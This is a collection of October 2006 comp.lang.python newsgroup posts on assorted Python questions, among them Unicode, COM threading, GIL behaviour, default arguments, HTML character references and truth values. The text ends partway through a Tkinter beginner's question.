From fredrik at pythonware.com  Fri Oct 20 05:09:11 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 11:09:11 +0200
Subject: Unicode support in python
References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com>
	<eha35a$c8c$1@sea.gmane.org>
Message-ID: <eha3nn$ef5$1@sea.gmane.org>

>    http://www.google.com/search?q=python+unicode

(and before anyone starts screaming about how they hate RTFM replies, look
at the search result)

</F> 





From g.brandl-nospam at gmx.net  Thu Oct  5 04:27:14 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Thu, 05 Oct 2006 10:27:14 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <1160004324.651743.280590@b28g2000cwb.googlegroups.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1160004324.651743.280590@b28g2000cwb.googlegroups.com>
Message-ID: <eg2fl5$6ei$1@news.albasani.net>

Ilias Lazaridis wrote:
> Giovanni Bajo wrote:
>> Hello,
>>
>> I just read this mail by Brett Cannon:
>> http://mail.python.org/pipermail/python-dev/2006-October/069139.html
>> where the "PSF infrastracture committee", after weeks of evaluation, recommends
>> using a non open source tracker (called JIRA - never heard before of course)
>> for Python itself.
>>
>> Does this smell "Bitkeeper fiasco" to anyone else than me?
>> --
>> Giovanni Bajo
> 
> Fascinating.
> 
> The python foundation suggests a non-python non-open-source bugtracking
> tool for python.

Actually, it suggests two bugtracking tools, one of them written in
Python.

> It's like saying: "The python community is not able to produce the
> tools needed to drive development of python forward."

No, it's saying: "if the Python community is able to provide the
required amount of time to do the admin work, we'll use the
tool written in Python."

> Anyway. The whole selection process is intransparent.

Steve has already pointed you to the wiki page.

Georg


From tejovathi.p at gmail.com  Fri Oct 13 01:55:35 2006
From: tejovathi.p at gmail.com (Teja)
Date: 12 Oct 2006 22:55:35 -0700
Subject: COM and Threads
In-Reply-To: <1160718073_1665@sp6iad.superfeed.net>
References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com>
	<1160712022_1597@sp6iad.superfeed.net>
	<1160713687.665650.221900@b28g2000cwb.googlegroups.com>
	<1160718073_1665@sp6iad.superfeed.net>
Message-ID: <1160718935.372511.303470@m73g2000cwd.googlegroups.com>


Roger Upole wrote:

> "Teja" <tejovathi.p at gmail.com> wrote:
> >
> > Roger Upole wrote:
> >
> >> "Teja" <tejovathi.p at gmail.com> wrote:
> >> >I have an application which uses COM 's Dispatch to create a COM based
> >> > object. Now I need to upgrade the application to a threaded one. But
> >> > its giving an error that COM and threads wont go together. Specifically
> >> > its an attribute error at the point where COM object is invoked. Any
> >> > pointers please??????
> >> >
> >>
> >> An actual traceback would help.
> >> At a guess, when using COM in a thread
> >> you need to call pythoncom.CoInitialize and
> >> CoUninitialize yourself.
> >>
> >>      Roger
> >
> > Actually Roger, this is the scenario....
> >
> > I create a COM object at the beginnning of the main thread. In the sub
> > thread, I need to access the same instance of the COM object. If it
> > were a normal object ie. not a COM obj, i was able to do it. But if it
> > were a COM object, its giving an attribute error? Should I pass a COM
> > object to the thread. If so How? Please let me know ASAP... Thnks
> >
>
> To pass COM objects between threads, usually they'll need to be marshaled
> using pythoncom.CoMarshalInterThreadInterfaceInStream, and unmarshaled
> with pythoncom.CoGetInterfaceAndReleaseStream.
>
>          Roger

I really appreciate your quick reply....Can u please let me know how to
do marshalling and unmarshalling or any good refrences to do it.
Because i tried to do it. I got some errors ans so I left it...

Thnks again...



From shawn at milochik.com  Tue Oct 24 12:37:03 2006
From: shawn at milochik.com (shawn at milochik.com)
Date: Tue, 24 Oct 2006 10:37:03 -0600
Subject: python GUIs comparison (want)
In-Reply-To: <ca55a9900610240458u31b00e15r36682308e9a7efa4@mail.gmail.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<ca55a9900610240458u31b00e15r36682308e9a7efa4@mail.gmail.com>
Message-ID: <13681.67.132.206.254.1161707823.squirrel@mail.milochik.com>

Ron Stevens of the Python411 podcast(1) has some good info on these. He
did an entire podcast(2) comparing different Python GUI tools, and did
several others in greater detail, including specifically on wyPython and
Tkinter. You can also subscribe to the RSS feed(3). The main page has
titles for all of the podcasts and direct links to the mp3s.

Shawn



1. http://www.awaretek.com/python/
2. http://libsyn.com/media/awaretek/Python411_070509_GUItoolkits.mp3
3. http://www.awaretek.com/python/index.xml




From mail at microcorp.co.za  Mon Oct  9 00:35:52 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Mon, 9 Oct 2006 06:35:52 +0200
Subject: dictionary containing a list
References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>	<1160172055.962140.180110@b28g2000cwb.googlegroups.com><eg7kb1$ve9$1@sea.gmane.org>
	<eg7nf1$6ip$1@sea.gmane.org>
Message-ID: <018401c6eb67$33567220$03000080@hendrik>

 "Fredrik Lundh" <fredrik at pythonware.com> wrote:


> Steve Holden wrote:
>
> > One of the fascinating things about c.l.py is that sometimes a questin
> > will be posted that makes almost no sense to me, and somebody else will
> > casually read the OP's mind, home in on the issue and provide a useful
> > and relevant answer.
>
> if the assertions made by some about the documentation's unsuit-
> ability for some are in fact true, that's probably some kind of
> natural selection in action.
>
> </F>

LOL - Whining about documentation is what programmers do - its driven by the
"fact" that the docs and the implementation are "never" in sync, except on
something that is either trivial, or as old as the hills...

And it does not matter if the software is free and open source, or bought at
great expense - there are always these differences - sometimes niggly, and often
major - it sometimes looks as if the docs were a statement of intent, with the
implementation taking a left turn at the first crossroads.

- Hendrik
- Hendrik



From fredrik at pythonware.com  Fri Oct 13 02:50:44 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 13 Oct 2006 08:50:44 +0200
Subject: Standard Forth versus Python: a case study
In-Reply-To: <7.0.1.0.0.20061012211219.04ad8c50@yahoo.com.ar>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>	<7x3b9u376m.fsf@ruckus.brouhaha.com>	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>	<7xfydtojhe.fsf@ruckus.brouhaha.com>	<7x4pu9bw3z.fsf@ruckus.brouhaha.com>	<1160685854.118420.133080@e3g2000cwe.googlegroups.com>
	<7.0.1.0.0.20061012211219.04ad8c50@yahoo.com.ar>
Message-ID: <egnd04$g8p$1@sea.gmane.org>

Gabriel Genellina wrote:

> At Thursday 12/10/2006 17:44, idknow at gmail.com wrote:
> 
>> > > > fun median {
>> > > >  var x = 0.
>> > > >   while( *p++) {
>> > > >     if( (*p) > x) x = *p.
>> > > >   }
>> > > >   return x.
>> > > > }
>>
>> clearly, i've forgotten the definition of the median of a list.
>> to that i plead faulty memory.
> 
> That explains all. Finding the median in an efficient way (that is, 
> without sorting the data first) isn't trivial, so your claim of "I can 
> do that using only one temp variable" was a bit surprising...
> BTW, the median is the value which sits just in the middle of the list 
> when ordered: median(3,5,12,1,2)=median(1,2,3,5,12) = 3

note that both his proposals does indeed find the median if given a list 
of zeros, though.  maybe they just used lousy sample data in that stat 
class he took?

</F>



From fredrik at pythonware.com  Fri Oct  6 06:16:24 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 12:16:24 +0200
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <463ff4860610060256i149b35d6ge32fad5d7e9f7289@mail.gmail.com>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>	<eg03un$se8$1@news.albasani.net>	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
	<eg17jd$gsr$1@news.albasani.net>	<mailman.1295.1159996151.10491.python-list@python.org>	<slrneic180.55m.apardon@rcpc42.vub.ac.be>	<mailman.1431.1160125174.10491.python-list@python.org>	<slrneic807.55m.apardon@rcpc42.vub.ac.be>
	<463ff4860610060256i149b35d6ge32fad5d7e9f7289@mail.gmail.com>
Message-ID: <eg5ado$8jn$1@sea.gmane.org>

hanumizzle wrote:

> Not sure exactly what is going on / being argued about in this
 > thread

I'm describing best practices based on long experience of using and 
developing and teaching and writing about Python stuff.  Others have 
other priorities, it seems.

 > This doesn't say anything positive or negative about the practice in
 > question

The tutorial tends to describe mechanisms, not best practices, and it 
also assumes prior programming experience.  After all, basic stuff like 
"minimize coupling" and "don't depend on implementation artifacts" apply 
to all software engineering, not just Python.

</F>



From ptmcg at austin.rr._bogus_.com  Thu Oct  5 17:35:43 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Thu, 05 Oct 2006 21:35:43 GMT
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>
Message-ID: <PUeVg.14060$5o5.12327@tornado.texas.rr.com>

"Ilias Lazaridis" <ilias at lazaridis.com> wrote in message 
news:1160082179.215729.164060 at c28g2000cwb.googlegroups.com...
>
<snip - a bunch of back-and-forth correspondence of no interest to anyone 
here whatsoever>
> .
>

-- 
http://lazaridis.com


WHAT IS THIS CRAP DOING ON THIS NEWSGROUP???!!!  IT IS UNWANTED AND 
UNWELCOME!!!

If you want to make some sort of public notice of your aggrievement with 
Assembla, Breakout, Mr. Singleton, whatever, take out an ad in the 
newspaper!

No one here is interested in your soap opera.

-- Paul McGuire





From obrandts at gmail.com  Mon Oct  2 07:32:39 2006
From: obrandts at gmail.com (Oeyvind Brandtsegg)
Date: Mon, 2 Oct 2006 13:32:39 +0200
Subject: Python threads and Numeric/SciPy exploit Dual Core ?
In-Reply-To: <efqql9$ji9$1@sea.gmane.org>
References: <efqq34$22nc$1@ulysses.news.tiscali.de>
	<efqql9$ji9$1@sea.gmane.org>
Message-ID: <ec4d2e280610020432x352ac3dh34a784ea6589d41d@mail.gmail.com>

I've been trying to make my music app use dual core,
and would very much like some more detailed information on this.

Excuse my lack of knowledge,
but how do I explicitly release the GIL ?

I haven't learned this, but have found through experimentation that I
can release a thread by using time.sleep(0) inside a thread's "run
while true" loop. This seems to create an interrupt, and give other
threads a chance to do their thing.
If this is terribly wrong (it works, but I dont' know how stable it
is), please do point me in the direction of a proper way to implement
it.
As stated in an earlier post, my threads do not work on shared data,
so I have not implemented any sort of lock or mutex.

best
Oeyvind



On 10/2/06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> "robert" wrote:
>
> > Simple Python code obviously cannot use the dual core by Python threads.
> > Yet, a program drawing CPU mainly for matrix computations - preferably
> > with Numeric/SciPy -  will this profit from a dual core when using 2 (or
> > more) Python threads?
>
> as long as the binding releases the GIL, sure.
>
> </F>
>
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From duncan.booth at invalid.invalid  Mon Oct  9 13:55:56 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 9 Oct 2006 17:55:56 GMT
Subject: file system iteration
References: <egdg02$pcd$1@solaris.cc.vt.edu> <egdjp5$7sm$1@news.albasani.net>
	<egdku5$3so$1@solaris.cc.vt.edu>
Message-ID: <Xns9857BFDD11728duncanbooth@127.0.0.1>

rick <ath-admin at vt.edu> wrote:

> Georg Brandl wrote:
> 
>> Which application needs to walk over ALL files? Normally, you just
>> have a starting path and walk over everything under it.
> 
> Searching for a file by name. Scanning for viruses. Etc. There are
> lots of legitimate reason to walk all paths from a central starting
> point, no??? 

Personally I'd get pretty annoyed if my virus scanner started gratuitously 
scanning network drives and CD's.


From ptmcg at austin.rr._bogus_.com  Fri Oct 27 09:44:35 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 27 Oct 2006 13:44:35 GMT
Subject: Insert Content of a File into a Variable
References: <mailman.1310.1161913065.11739.python-list@python.org>
Message-ID: <73o0h.23481$ta3.949@tornado.texas.rr.com>

"Wijaya Edward" <ewijaya at i2r.a-star.edu.sg> wrote in message 
news:mailman.1310.1161913065.11739.python-list at python.org...
>
> Hi,
>
> How can we slurp all content of a single file
> into one variable?
>

Please don't double-post your questions.  Now you have two threads running 
with people answering the same question.

-- Paul




From lm401 at cam.ac.uk  Wed Oct 11 06:31:44 2006
From: lm401 at cam.ac.uk (LorcanM)
Date: 11 Oct 2006 03:31:44 -0700
Subject: Can pdb be set to break on warnings?
References: <1160558575.381070.200570@b28g2000cwb.googlegroups.com>
	<mailman.302.1160559542.11739.python-list@python.org>
Message-ID: <1160562703.933794.138980@b28g2000cwb.googlegroups.com>

Fredrik Lundh wrote:
> LorcanM wrote:
>
>   > I use pdb under Linux to debug my Python code, as in:
> >
> > python -m pdb myprogram.py
> >
> > By default it does a postmortem of unhandled exceptions, is there a way
> > to get it to break on warnings?
>
> is
>
>      python -m pdb -Werror myprogram.py
>
> what you're looking for ?
>
> </F>


It sounds like what I want, but it doesn't work for me. When I try the
above line of code, it replies:
Error: -Werror does not exist

I'm running Python 2.4.3

Thanks for the help,


 Lorcan.



From steve at holdenweb.com  Thu Oct  5 13:51:38 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 18:51:38 +0100
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <eg3ba4$ccn$1@sea.gmane.org>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>	<7xac4cpefr.fsf@ruckus.brouhaha.com>	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>	<eg03un$se8$1@news.albasani.net>	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>	<eg17jd$gsr$1@news.albasani.net>	<mailman.1295.1159996151.10491.python-list@python.org>	<slrneia6c4.55m.apardon@rcpc42.vub.ac.be>
	<eg3ba4$ccn$1@sea.gmane.org>
Message-ID: <eg3glj$3cp$1@sea.gmane.org>

Fredrik Lundh wrote:
> Antoon Pardon wrote:
> 
> 
>>The first module I looked in to check this, it wasn't true. In the Queue
>>Module is isn't explicitly written that maxsize is a keyword argument yet
>>Queue.Queue(maxsize=9) works just fine.
> 
> 
> it's not a matter whether it works fine in any given version of Python, 
> it's a matter of whether it's *guaranteed* to work.
> 
There are some sloppy places in the docs, though, perhaps where a 
function has started out with positionals only and keyword arguments 
have been added later, or it's just plain wrong. I remember an incident 
a month or so ago when someone had called cgi.parse with a second 
positional to retain blank values - the docs for 2.4.2 say:

    parse( fp[, keep_blank_values[, strict_parsing]])

but the function signature in the code is

    def parse(fp=None, environ=os.environ,
              keep_blank_values=0, strict_parsing=0)

IIRC he reported this as a doc bug, though probably just too late to 
make it into the initial 2.5 release. You can imagine his CGI scripts 
didn't run too well with an integer as the environment ;-)

Someone with a tendency to salt every snail (that's dotting all the i's 
and crossing all the t's for you English-speakers out there :-) could 
probably do the community a service by reviewing the documented 
signatures and report such discrepancies.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From mensanator at aol.com  Tue Oct 17 02:37:28 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 16 Oct 2006 23:37:28 -0700
Subject: a question about s[i:j] when i is negative
In-Reply-To: <1161066186.490960.326230@m73g2000cwd.googlegroups.com>
References: <1161066186.490960.326230@m73g2000cwd.googlegroups.com>
Message-ID: <1161067048.047048.159870@e3g2000cwe.googlegroups.com>


dracula571 wrote:
> s[i:j] slice of s from i to j         (3), (4)
>
> (3)
> If i or j is negative, the index is relative to the end of the string:
> len(s) + i or len(s) + j is substituted. But note that -0 is still 0.
>
>
> (4)
> The slice of s from i to j is defined as the sequence of items with
> index k such that i <= k < j. If i or j is greater than len(s), use
> len(s). If i is omitted or None, use 0. If j is omitted or None, use
> len(s). If i is greater than or equal to j, the slice is empty.
>
> i can't follow (3) very well.
> for example:k = [1,2,3,4,5]
> k[-1:2]=[]
> k[-5:2]=[1,2]
> but k[-6:2] = [1,2]
> why k[-6:2] is [1,2]not [].

Because 6 is greater then len(k), so when you ask
for i=-6, you get i=-5 instead. And relative -5 is actually
absolute 0 which is less than 2, so you do not get an
empty slice.

> i do follow (3),to make i positive by
> plusing len(k) twice.But the result is not what i expect.why,or did i
> misunderstand the rule of (3).

See (4).



From gagsl-py at yahoo.com.ar  Tue Oct  3 04:59:01 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 03 Oct 2006 05:59:01 -0300
Subject: Overriding builtin getattr method
In-Reply-To: <1159863862.889561.325340@m73g2000cwd.googlegroups.com>
References: <1159863862.889561.325340@m73g2000cwd.googlegroups.com>
Message-ID: <7.0.1.0.0.20061003053556.04366c70@yahoo.com.ar>

At Tuesday 3/10/2006 05:24, Raja Raman Sundararajan wrote:

>Hello guys,
>     I have data stored in the database which has special characters
>like <, > etc.
>Case 1: Whenever I wanted to present the output to a browser
>       I need to escape these special characters into the browser
>equivalent like &lt;  &gt; etc.( for example by using the cgi module)
>Case 2: Whenever I wanted to present the output to some client other
>than a browser, I wanted to present the data as it is stored in the
>database.
>
>For doing this I thought of overriding the __builtin__.__getattr__
>method.

Not very reasonable on the source object itself. Escaping <&> is a 
*presentation* requirement and should be managed at that level. For 
example, in a PageTemplate, using tal:content or tal:attribute does 
the right escaping.

>I am wondering if there is any other way of achieving this. I have
>loads of files that get the attribute values of objects stored in the
>database and I do not want to manually change the way of DB access in
>those files. I rather prefer a centralized way to achieve this.

If your data contains a '<', that's OK, it's the real contents and 
should remain that way.
If you have to build an HTML page, escape those characters at *that* stage.
If you have to write a CSV file, perhaps a '<' is irrelevant but a 
',' is problematic.
For some Windows text controls you have to escape '&' characters.
None of these operations should make you to change your data, or the 
way you access your data. You invoke them at the presentation stage, 
depending on the final target.



Gabriel Genellina
Softlab SRL 


	

	
		
__________________________________________________ 
Pregunt?. Respond?. Descubr?. 
Todo lo que quer?as saber, y lo que ni imaginabas, 
est? en Yahoo! Respuestas (Beta). 
?Probalo ya! 
http://www.yahoo.com.ar/respuestas 



From horpner at yahoo.com  Tue Oct 17 14:23:19 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 17 Oct 2006 20:23:19 +0200
Subject: Faulty encoding settings
References: <slrnej9ogv.nk.horpner@FIAD06.norwich.edu>
	<pan.2006.10.17.17.24.24.852614@gmx.net>
Message-ID: <slrneja7ua.10g.horpner@FIAD06.norwich.edu>

On 2006-10-17, Marc 'BlackJack' Rintsch <bj_666 at gmx.net> wrote:
> In <slrnej9ogv.nk.horpner at FIAD06.norwich.edu>, Neil Cerutti wrote:
>> I'm writing an application that needs all internal character data
>> to be stored in iso-8859-1. It also must allow input and output
>> using stdin and stdout.
>
> Give the user the ability to explicitly give an encoding.
> Using the encoding attribute of files is quite fragile.  If you
> redirect stdin or stdout the encoding is set to None for
> example because the interpreter can't tell what encoding the
> "other side" of the redirection produces or expects.

Thanks for that sensible idea.

On the other hand, if Python's implementors couldn't figure out
what the encoding is, I doubt the average user has a prayer. ;-)

-- 
Neil Cerutti


From hanumizzle at gmail.com  Fri Oct  6 02:40:07 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 02:40:07 -0400
Subject: help on pickle tool
In-Reply-To: <eg4tgm$vk4$1@sea.gmane.org>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>
	<mailman.1407.1160113095.10491.python-list@python.org>
	<1160114085.944898.224340@k70g2000cwa.googlegroups.com>
	<mailman.1408.1160114785.10491.python-list@python.org>
	<1160115558.554509.292870@c28g2000cwb.googlegroups.com>
	<463ff4860610052326s735fbeb7m2d4584b7ee1c569e@mail.gmail.com>
	<eg4tgm$vk4$1@sea.gmane.org>
Message-ID: <463ff4860610052340y253bb7f0r7f7d9f5a57328e23@mail.gmail.com>

On 10/6/06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> hanumizzle wrote:
>
> > I guess I'll keep an open mind. But I like editing YAML for the same
> > reason that I like editing Python.
>
> JSON is almost identical to Python's expression syntax, of course, while
> YAML isn't even close.

Getting the source now. S'pose it isn't too late to convert my project over...

-- Theerasak


From Leo.Kislov at gmail.com  Wed Oct 11 00:57:29 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 10 Oct 2006 21:57:29 -0700
Subject: People's names (was Re: sqlite3 error)
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>
	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<mailman.49.1160301761.11739.python-list@python.org>
	<87wt79i0hs.fsf@pobox.com>
Message-ID: <1160542649.300351.192120@c28g2000cwb.googlegroups.com>

John J. Lee wrote:
> Steve Holden <steve at holdenweb.com> writes:
> [...]
> > > There would also need to be a flag field to indicate the canonical
> > > ordering
> > > for writing out the full name: e.g. family-name-first, given-names-first.
> > > Do we need something else for the Vietnamese case?
> >
> > You'd think some standards body would have worked on this, wouldn't
> > you. I couldn't think of a Google search string that would lead to
> > such information, though. Maybe other, more determined, readers can do
> > better.
>
> I suppose very few projects actually deal with more than a handful of
> languages or cultures, but it does surprise me how hard it is to find
> out about this kind of thing -- especially given that open source
> projects often end up with all kinds of weird and wonderful localised
> versions.
>
> On a project that involved 9 localisations, just trying to find
> information on the web about standard collation of diacritics
> (accented characters) in English, German, and Scandinavian languages
> was more difficult than I'd expected.

As far as I understand unicode.org has become the central(?) source of
locale information: http://unicode.org/cldr/    Did you use it?



From fredrik at pythonware.com  Tue Oct 17 14:26:17 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 20:26:17 +0200
Subject: HTML Encoded Translation
In-Reply-To: <1161108640.669383.178470@h48g2000cwc.googlegroups.com>
References: <1161108640.669383.178470@h48g2000cwc.googlegroups.com>
Message-ID: <eh378a$bku$1@sea.gmane.org>

Dave wrote:

> How can I translate this:
> 
> &#103;&#105;
> 
> to this:
> 
> "gi"

the easiest way is to run it through an HTML or XML parser (depending on 
what the source is).  or you could use something like this:

     import re

     def fix_charrefs(text):
         def fixup(m):
             text = m.group(0)
             try:
                 if text[:3] == "&#x":
                     return unichr(int(text[3:-1], 16))
                 else:
                     return unichr(int(text[2:-1]))
             except ValueError:
                 pass
             return text # leave as is
         return re.sub("&#?\w+;", fixup, text)

     >>> fix_charrefs("&#103;&#105;")
     'gi'

also see:

     http://effbot.org/zone/re-sub.htm#strip-html

> I've tried urllib.unencode and it doesn't work.

those are HTML/XML character references, not encoded URL characters.

</F>



From http  Wed Oct 25 15:22:03 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 12:22:03 -0700
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<zNO%g.154$1n3.3672@news.tufts.edu>
Message-ID: <7xbqo05hgk.fsf@ruckus.brouhaha.com>

John Salerno <johnjsal at NOSPAMgmail.com> writes:
> if (10 > 5)
> would be the same as
> if (10 > 5) == True

Yes.


From http  Wed Oct  4 14:16:52 2006
From: http (Paul Rubin)
Date: 04 Oct 2006 11:16:52 -0700
Subject: PEP 358 and operations on bytes
References: <mailman.1197.1159906581.10491.python-list@python.org>
	<1159931141.342507.108260@e3g2000cwe.googlegroups.com>
	<mailman.1269.1159973760.10491.python-list@python.org>
	<1159974809.492898.253490@i42g2000cwa.googlegroups.com>
	<7xejtojdys.fsf@ruckus.brouhaha.com>
	<1159976793.484514.277050@h48g2000cwc.googlegroups.com>
	<7xfye4f4nk.fsf@ruckus.brouhaha.com>
	<1159984794.841880.247100@k70g2000cwa.googlegroups.com>
Message-ID: <7xac4c0wvf.fsf@ruckus.brouhaha.com>

bearophileHUGS at lycos.com writes:
> > I think the underlying regexp C library isn't written that way.  I can
> > see reasons to want a higher-level regexp library that works on
> > arbitrary sequences, calling a user-supplied function to classify
> > sequence elements, the way current regexps use the character code to
> > classify characters.
> ...It seems an interesting thing, but can you find some uses for it?

Yes, I want something like that all the time for file scanning without
having to resort to parser modules or hand coded automata.


From apardon at forel.vub.ac.be  Sat Oct 28 10:00:55 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 28 Oct 2006 14:00:55 GMT
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
	<pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
	<slrnek4gru.2e3.apardon@rcpc42.vub.ac.be>
	<pan.2006.10.28.07.23.48.586872@REMOVE.THIS.cybersource.com.au>
Message-ID: <slrnek6okn.6q6.apardon@rcpc42.vub.ac.be>

On 2006-10-28, Steven D'Aprano <steve at REMOVE.THIS.cybersource.com.au> wrote:
> On Fri, 27 Oct 2006 17:35:58 +0000, Antoon Pardon wrote:
>
>> On 2006-10-27, Steven D'Aprano <steve at REMOVE.THIS.cybersource.com.au> wrote:
>> 
>> So
>> it seems that python has generalised the len function to provide
>> the number of elements in the container. 
>
> Sure. But what about a container where the number of elements isn't
> well-defined, e.g. iterators?

I see you already discovered iterators won't help you here.

> Or something like a binary tree, where
> counting the number of items is relatively expensive, but telling whether
> it is empty or not is cheaper than dirt?

Counting the items in a binary tree and a dictionary are about equally
expensive. I guess that in practice a count attribute will keep score.

> Here's a real example: it can be expensive to count the number of files in
> a directory -- on my PC, it takes almost a third of a second to count a
> mere 15,000 files in a single directory. (There may be a more sensible
> way of counting the number of files under Linux than ls | wc -l, but if
> so I don't know it.) But why slog through 15,000 files if all you need to
> know is if the directory is empty or not? As soon as you see one file, you
> know it isn't empty. Stop counting! Who cares whether there is one file or
> 15,000 files?

I don't know why you consider this a real example. The only time I care
whether a dictionary is empty or not is if I want to remove it and in
that case it better to just try to remove the dictionary and catch
the exception. Testing for emptyness or counting files in a directory
isn't robust anyway. You never know whether or not some other process
created a new file or deleted one between the time you tested and
the moment 

>> I have written a Tree class(*). It can be used as a drop in replacement
>> anywhere where a directory is used, as long as there is a full order
>> relationship in the key domain. That tree class provides a __len__
>> method that will anser with the number of items in the tree just
>> as a directory would and I see nothing wrong with that.
>
> And I'm happy for you. But imagine a container object that maps a URL to
> some piece of data fetched from the Internet. Counting the size of the
> Internet is infeasible -- even if you were willing to try, it could take
> *weeks* of computation to determine! But one can certainly tell if there
> is an Internet out there or not. Such an object would always be True,
> unless you had lost network connectivity.

Indeed and you could loose connectivity between your testing for it and
making your first connection and your URL's turn bogus

> My container object will work perfectly well with "if internet" but not
> with "if len(internet) > 0". You could even iterate over it, sort
> of, by following links from one site to another.

And in what way exactly would this container object of yours be
compatible with code that would expect a list like object? I guess
not very much.

> But why are you checking the length of a container before iterating over
> it? If you are writing something like this:
>
> if len(container) != 0:
>     for item in container:
>         do_something()
>
> then just stop it!

The same goes for

  if container:
      for iten in container:
          do_something()

If your are writing the above you should stop it just the same.

>> Of course I can't account for all possible ways someone wishes to
>> write a class, but I don't see what is wrong with counting on
>> the fact that an empty container has a length of zero.
>
> Because you shouldn't assume containers have well-defined lengths unless
> you actually care about the length, and you shouldn't assume that length
> of zero implies "nothing to see here" unless you *know* that this is the
> case.

I think these assumptions are equivallent with assuming it is a
container.

> You should leave defining empty up to the container class itself.
> Otherwise, you might be right 99 times in a hundred, but that hundredth
> time will bite you.

Just as your assumption will bite you in case of numpy arrays.

>> I can write a container class where the truth value of an object
>> is independent of whether or not the object is empty and then
>> the "if obj:" idiom will fail to provide true polymorphism too.
>
> A class that deliberate breaks the semantics of Python truth testing just
> for the sake of breaking code really is a pathological case. Polymorphism
> doesn't mean "will work with anything without exception".

I find that your idea of what a container can lack also against the
semantics of Python.

-- 
Antoon Pardon


From mohan.us2010 at gmail.com  Fri Oct 27 05:08:26 2006
From: mohan.us2010 at gmail.com (mohan)
Date: 27 Oct 2006 02:08:26 -0700
Subject: Simple problem with GUI!!
Message-ID: <1161940106.084921.187460@i3g2000cwc.googlegroups.com>

Hello Guys,

I am a beginner with Python programming and would like to implement
some GUI functionalities along with my main work. So I was trying to
implement one basic program (available from books).
Here is the code,

############################
import Tkinter

TopLevelWindowObj = Tkinter.Tk() # Creating a root window
QuitObj = Tkinter.Button(TopLevelWindowObj, text = "QUIT", command =
TopLevelWindowObj.quit) #  Creating a Button
QuitObj.pack() # Positioning the button
Tkinter.mainloop()
#############################

So, this is a code to display a window with a "QUIT" button and by
